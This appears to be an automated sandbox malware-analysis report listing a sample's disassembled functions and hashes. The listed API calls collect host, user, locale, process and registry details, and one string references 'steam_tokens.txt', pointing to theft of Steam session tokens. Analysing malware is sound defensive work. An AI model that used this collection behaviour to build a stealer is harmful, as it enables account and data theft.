HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6C6E3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C6E3095

Part of subcall function 6C6E35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C76F688,00001000), ref: 6C6E35D5
Part of subcall function 6C6E35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6E35E0
Part of subcall function 6C6E35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6E35FD
Part of subcall function 6C6E35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C6E363F
Part of subcall function 6C6E35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C6E369F
Part of subcall function 6C6E35A0: __aulldiv.LIBCMT ref: 6C6E36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6E309F

Part of subcall function 6C705B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7056EE,?,00000001), ref: 6C705B85
Part of subcall function 6C705B50: EnterCriticalSection.KERNEL32(6C76F688,?,?,?,6C7056EE,?,00000001), ref: 6C705B90
Part of subcall function 6C705B50: LeaveCriticalSection.KERNEL32(6C76F688,?,?,?,6C7056EE,?,00000001), ref: 6C705BD8
Part of subcall function 6C705B50: GetTickCount64.KERNEL32 ref: 6C705BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6E30BE

Part of subcall function 6C6E30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C6E3127
Part of subcall function 6C6E30F0: __aulldiv.LIBCMT ref: 6C6E3140

Part of subcall function 6C71AB2A: __onexit.LIBCMT ref: 6C71AB30

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: d0c10eb2650066e672821316de892c327fc895c821343bf0c79d5382c769a8b4
Instruction ID: 5e0271d287ecc2da8d1876010ff8a2f2af02ea439c0dad75d69c28189b402a93
Opcode Fuzzy Hash: d0c10eb2650066e672821316de892c327fc895c821343bf0c79d5382c769a8b4
Instruction Fuzzy Hash: D3F0F952E2878896CB10EF3599453F6B370AF6F314F10673AE84467631FB2062D883D6

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,02679D80,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,02679D80,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02679978,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02679978,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02679978,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,02679978,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,02679BE0,00000000,?,00420DF4,00000000,?,00000000,00000000,?,02679A20,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,0265A448,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,02679D60,00000000,00000000,000000FF,000000FF), ref: 0041791F
Part of subcall function 004178A0: RegCloseKey.ADVAPI32(?), ref: 00417932

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,026793C0,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,026793C0,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,02654DD0,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 869194160-0
Opcode ID: efd4dc239b49fb99bbfd1069c0ac1cdb45bec6c13a269f84b0dddfaf1f80abb9
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: efd4dc239b49fb99bbfd1069c0ac1cdb45bec6c13a269f84b0dddfaf1f80abb9
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02655988,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 31e308a2702a12bc628887caaa0b1201e0d349a909a28e03d21d8c8f8041e4fb
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 31e308a2702a12bc628887caaa0b1201e0d349a909a28e03d21d8c8f8041e4fb
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

